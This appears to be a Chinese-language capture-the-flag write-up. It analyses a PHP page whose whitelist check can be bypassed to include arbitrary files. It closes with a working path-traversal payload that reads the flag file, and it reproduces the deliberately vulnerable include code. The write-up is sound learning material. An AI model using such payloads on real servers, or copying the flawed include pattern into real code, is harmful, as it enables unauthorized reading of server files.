开局一个表情,源代码发现source.php
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
 

知识点
 
1.函数
empty:检查变量是否为空,存在值返回true,反之false
isset:检查变量是否设置,且不为空,存在值返回true,反之false
is_string:检查一个变量是否是字符串。如果是字符串,则返回 true;否则返回 false。
in_array:检查一个值是否存在于数组中。如果值存在于数组中,则返回 true;否则返回 false
mb_strpos:在字符串中查找另一个字符串的首次出现位置
mb_substr:返回字符串截取的一部分
$subStr = mb_substr($str, 0, 3, 'UTF-8'); // 从索引 0 开始,截取长度为 3 的子串  
 
分析源码
 
if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
 
这段代码表示:变量file要满足三个条件,三个都返回True,才能进行文件包含include,第一个和第二个容易满足;第三个分析chekFile方法。
代码1.
 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
 
创建$whitelist列表,给source和hint分别赋值给source.php和hint.php,满足变量$page既不能为空,又必须是字符串
代码2.
            if (in_array($page, $whitelist)) {
                return true;
            }
 
判断变量$page的值是否在$whitelist列表中,如果在则返回true,反之false。
代码3.
                $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
 
这段代码表示:在$page中,从最开始的位置去匹配?,然后返回?前的所有字符串(不包括?)
 
代码4.
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
 
将$page进行url解码,然后进行?截取,判断是否在列表中
payload
通过上面的代码分析,payload中必须有hint.php或source.php,(参考上面的代码1和代码2)和?,因为有?,才能进行if判断。
 它还要进行url解码,但是传进的值,经过url解码后,还是它本身。
?file=hint.php?../../../../../../../../ffffllllaaaagggg
 




















